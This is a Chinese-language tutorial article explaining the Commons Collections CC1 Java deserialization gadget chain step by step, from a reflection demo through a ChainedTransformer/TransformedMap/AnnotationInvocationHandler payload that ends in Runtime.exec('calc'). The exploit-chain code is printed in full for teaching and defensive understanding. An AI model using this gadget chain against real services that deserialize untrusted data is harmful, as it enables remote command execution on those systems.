CC1链深度拆解:反序列化利用链是如何一步步执行的

admin 2026-09-02 06:26:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细解析了Java反序列化漏洞中CC1链的构造与执行过程。通过反射机制演示了如何调用私有方法和字段,并结合ShiroPayload案例分析了ChainedTransformer链路原理。核心要点包括:1)Transformer链的级联执行机制;2)TransformedMap装饰器触发漏洞的关键点;3)利用ConstantTransformer和InvokerTransformer实现Runtime命令执行。文章强调必须使用JVM已加载类构造恶意链路,提出在反序列化恢复对象时通过字节流写入恶意参数的攻击手法,最后建议开发者应严格校验反序列化数据源并禁用高危类加载。 综合评分: 86 文章分类: 漏洞分析,反序列化,WEB安全,Java安全,威胁情报


CC1 链深度拆解:反序列化利用链是如何一步步执行的

原创

Qiufen Qiufen

T00ls安全

2026年9月1日 17:52 山西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

通过反射机制可以调用加载到jvm里面的类的私有函数

反射机制调用 ≈ new xxx(),然后再 invoke 调用具体函数

下面是三种反射机制的代码 demo

   Hello.java

public class Hello {

    // 私有变量

    private String name = “私有字段”;

    // 无参构造函数

    public Hello() {}

    // 有参构造函数

    public Hello(String name) {

        this.name = name;

    }

    // 普通函数

    public void sayHello() {

        System.out.println(

            “Hello, ” + name + “!”);

    }

    // 私有函数

    private void secret(){

        System.out.println(“私有方法”);

    }

}

   ReflectMain.java

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

public class ReflectMain {

    public static void main(String[] args)

            throws Exception {

        // 1. 获取 Class 对象

        // (三种方式都列出来,用任意一种)

        // 常用:全类名字符串

        Class<?> clazz = Class.forName(“Hello”);

        // 编译期已知

        // Class clazz = Hello.class;

        // 已有对象

        // Class<?> clazz = new Hello().getClass();

        // 2. 创建对象:先拿构造器再 newInstance()

        // 无参构造

        Constructor<?> cons =

            clazz.getDeclaredConstructor(String.class);

        // 等价 new Hello(“Reflect”)

        Object obj = cons.newInstance(“Reflect”);

        // 3. 调用 public 方法

        Method say =

            clazz.getDeclaredMethod(“sayHello”);

        // obj.sayHello()

        say.invoke(obj);

        // 4. 访问私有字段

        Field field = clazz.getDeclaredField(“name”);

        // 打破封装

        field.setAccessible(true);

        field.set(obj, “Java”);

        // 再次调用,看到值已变

        say.invoke(obj);

        // 5. 调用私有方法

        Method secret =

            clazz.getDeclaredMethod(“secret”);

        secret.setAccessible(true);

        // 调用 private secret()

        secret.invoke(obj);

    }

}

 Shiro Payload 分析

payload 加密编码后进入到程序最终还是会还原成当前代码,直接分析即可

   Payload.java

Transformer[] transformers = new Transformer[] {

    new ConstantTransformer(Runtime.class),

    new InvokerTransformer(“getMethod”,

        new Class[]{String.class, Class[].class},

        new Object[]{“getRuntime”, new Class[0]}),

    new InvokerTransformer(“invoke”,

        new Class[]{Object.class, Object[].class},

        new Object[]{null, new Object[0]}),

    new InvokerTransformer(“exec”,

        new Class[]{String.class},

        new Object[]{“calc”})

};

Transformer transformerChain =

    new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = TransformedMap.decorate(

    innerMap, null, transformerChain);

Class<?> clazz = Class.forName(

    “sun.reflect.annotation.”

    + “AnnotationInvocationHandler”);

Constructor<?> ctor =

    clazz.getDeclaredConstructor(

        Class.class, Map.class);

ctor.setAccessible(true);

Object payload =

    ctor.newInstance(Target.class, outerMap);

分三个步骤:

1、编写若干个转换器组成数组 transformers

2、将这些转换器组成的数组 transformers 打包成一条链路 transformerChainChainedTransformer() 的作用就是将多个小转换器串成一条链路,前一个转换器的输出是下一个转换器的输入,最终返回最后一个转换器的结果

3、通过反射机制拿到 sun.reflect.annotation.``AnnotationInvocationHandler 并传入参数 outerMap

重点:java 反序列化时,payload 的各个参数、字段值会以字节流形式还原成对象的字段值,所以在反序列化后恢复对象,此时各个点位的参数、字段都是你写入的恶意参数和字段(例如上面的转换器数组链路 transformerChainMap 等这些),payload代码本身是不执行的,即使你自己写恶意函数,恶意类也不会进入到 jvm 中,jvm 只有程序运行时就已经加载的 class,所以我们只能利用 jvm 中已存在的 class,然后相当于以字节流形式写入恶意参数、字段提前占位,从而在反序列化完成后,程序去处理的对象就变成我们写入的恶意参数和值了

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

参数详细介绍

map 类型:Map

被装饰的原始 Map(就是真正的数据容器,TransformedMap 只是一个代理壳)。   以后所有读写最终都会落到这个 map 上。

keyTransformer 类型:Transformer

键转换器。每当调用 put(k,v) 或 putAll 时,先把 k 交给这个 transformer,用返回的新 key 真正落表。   传 null 表示”不转换键”。

valueTransformer 类型:Transformer

值转换器。同样,put 时先把 v 交给它,用返回的新 value 真正落表;get 时也会把查到的值先过一遍它再返回。   传 null 表示”不转换值”。

触发点:

1、反序列化完成后 readObject() 会遍历 memberValues,因为我们通过二进制提前将恶意参数写入了字节流,所以此时的 memberValues 值就是 outerMap

2、然后遍历我们传入的 outerMap =``TransformedMap.decorate(``innerMap, null,``transformerChain) ,因为 org.apache.commons.``collections.map.``TransformedMap 的特性——不管是 put 还是 get 都会把查到的值先过一遍它再返回(详细看上面表格介绍),这里的”过一遍”就是 Transformer.``transform(value) ,然后每个值都 new xxx 格式,由此就触发了运行

3、第一个运行的转换器 new ConstantTransformer(``Runtime.class),得到:Runtime.class,代码如下:

   ConstantTransformer.java

public class ConstantTransformer

        implements Transformer {

    private final Object iConstant;

    // 1、编写转换器数组时,会先触发构造函数,

    // 此时 iConstant = Runtime.class

    public ConstantTransformer(Object constant) {

        iConstant = constant;

    }

    // 2、构成链路时需要检查每个值的时候,就是

    // new ConstantTransformer.transform(xxx),

    // 此时传入的值只是一个占位的随机值

    // (组装阶段传入),会触发下面函数,

    // 从而返回 iConstant = Runtime.class

    public Object transform(Object input) {

        return iConstant;

    }

}

第二个运行的转换器 new InvokerTransformer("getMethod",``new Class[]{String.class, Class[].class},``new Object[]{"getRuntime", new Class[0]}),得到:,代码如下:

   InvokerTransformer.java

public class InvokerTransformer

        implements Transformer {

    // 1、编写转换器数组时,会先触发构造函数,

    // 此时 iMethodName = getMethod

    private final String iMethodName;

    // 1、iParamTypes =

    // new Class[]{String.class, Class[].class}

    private final Class[] iParamTypes;

    // 1、iArgs =

    // new Object[]{“getRuntime”, new Class[0]}

    private final Object[] iArgs;

    public InvokerTransformer(String methodName,

            Class[] paramTypes, Object[] args) {

        this.iMethodName = methodName;

        this.iParamTypes = paramTypes;

        this.iArgs = args;

    }

    // 2、构成链路时需要检查每个值的时候,就是

    // new InvokerTransformer.transform(

    // Runtime.class),此时传入值为第一个的

    // 返回值,会触发下面函数

    public Object transform(Object input)

            throws TransformerException {

        try {

            // input 已经是 class 对象了,

            // 再次 getClass 就变成了

            // Class 类的 class 对象,即:Class.class

            Class<?> cls = input.getClass();

            // iMethodName = getMethod

            // iParamTypes =

            // new Class[]{String.class, Class[].class}

            // 需要找到名为 getMethod 的方法,

            // 且需要传入两个参数,

            // 第一个位String类型,

            // 第二个位Class[] 类型

            Method method =

                cls.getMethod(iMethodName, iParamTypes);

            // invoke 传入参数 Runtime.class 和

            // new Object[]{“getRuntime”,

            // new Class[0]} 并执行方法返回,

            // 方法具体内容看下面代码

            // 把 new Object[]{“getRuntime”,

            // new Class[0]} 当成数组实参传进去,

            // 反射机制会按元素拆包,

            // 于是数组里2个元素分别对应:

            // getRuntime、new Class[0]

            // 返回 Runtime.getRuntime()

            return method.invoke(input, iArgs);

        } catch (Exception e) {

            throw new TransformerException(e);

        }

    }

}

第三个运行的转换器 new InvokerTransformer("invoke",``new Class[]{Object.class, Object[].class},``new Object[]{null, new Object[0]}),都是调用同一个类,代码如下:

   InvokerTransformer.java

public class InvokerTransformer

        implements Transformer {

    // 1、编写转换器数组时,会先触发构造函数,

    // 此时 iMethodName = invoke

    private final String iMethodName;

    // 1、iParamTypes =

    // new Class[]{Object.class, Object[].class}

    private final Class[] iParamTypes;

    // 1、iArgs = new Object[]{null, new Object[0]}

    private final Object[] iArgs;

    public InvokerTransformer(String methodName,

            Class[] paramTypes, Object[] args) {

        this.iMethodName = methodName;

        this.iParamTypes = paramTypes;

        this.iArgs = args;

    }

    // 2、构成链路时需要检查每个值的时候,就是

    // new InvokerTransformer.transform(),

    // 此时传入值为第二个的返回值,会触发下面函数

    public Object transform(Object input)

            throws TransformerException {

        try {

            // 获取Runtime.getRuntime()的类对象

            Class<?> cls = input.getClass();

            // Method 类里找 invoke 方法,

            // 然后固定两个参数:Object.class

            Method method =

                cls.getMethod(iMethodName, iParamTypes);

            // 这里执行并返回,

            // 返回的内容是 Runtime 的对象

            return method.invoke(input, iArgs);

        } catch (Exception e) {

            throw new TransformerException(e);

        }

    }

}

第四个运行的转换器 new InvokerTransformer("exec",``new Class[]{String.class},``new Object[]{"calc"}),都是调用同一个类,代码如下:

   InvokerTransformer.java

public class InvokerTransformer

        implements Transformer {

    // 1、编写转换器数组时,会先触发构造函数,

    // 此时 iMethodName = exec

    private final String iMethodName;

    // 1、iParamTypes = new Class[]{String.class}

    private final Class[] iParamTypes;

    // 1、iArgs = new Object[]{“calc”}

    private final Object[] iArgs;

    public InvokerTransformer(String methodName,

            Class[] paramTypes, Object[] args) {

        this.iMethodName = methodName;

        this.iParamTypes = paramTypes;

        this.iArgs = args;

    }

    // 2、构成链路时需要检查每个值的时候,就是

    // new InvokerTransformer.transform(),

    // 此时传入值为第三个的返回值,会触发下面函数

    public Object transform(Object input)

            throws TransformerException {

        try {

            // 拿 Runtime 对象的类对象

            Class<?> cls = input.getClass();

            // 找 Runtime 对象的 exec 方法,

            // 且规定传参,类型为:String.class

            Method method =

                cls.getMethod(iMethodName, iParamTypes);

            // 执行方法,且传入参数:calc

            return method.invoke(input, iArgs);

        } catch (Exception e) {

            throw new TransformerException(e);

        }

    }

}

最终就是通过反射机制 Method.invoke 调用并执行方法:Runtime.getRuntime().``exec("calc") —> 弹计算机

 总结回顾

整条链路的调用过程可以浓缩为一条线:

readObject() → AnnotationInvocationHandler → TransformedMap → ChainedTransformer → ConstantTransformer → InvokerTransformer(getMethod) → InvokerTransformer(invoke) → InvokerTransformer(exec) → Runtime.getRuntime().exec(“calc”)

反序列化利用链的核心不是在于”执行恶意代码”,而在于通过字节流提前写入恶意参数占位。反序列化完成后,JVM 里已有的合法类处理了这些参数,最后一步步走到命令执行

理解了这个机制,再看其他利用链(CC2-CC7URLDNS 等),本质上都是在寻找不同的入口类和调用路径

原文链接

https://www.t00ls.com/articles-75225.html


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:T00ls安全 Qiufen Qiufen《CC1 链深度拆解:反序列化利用链是如何一步步执行的》

评论:0   参与:  0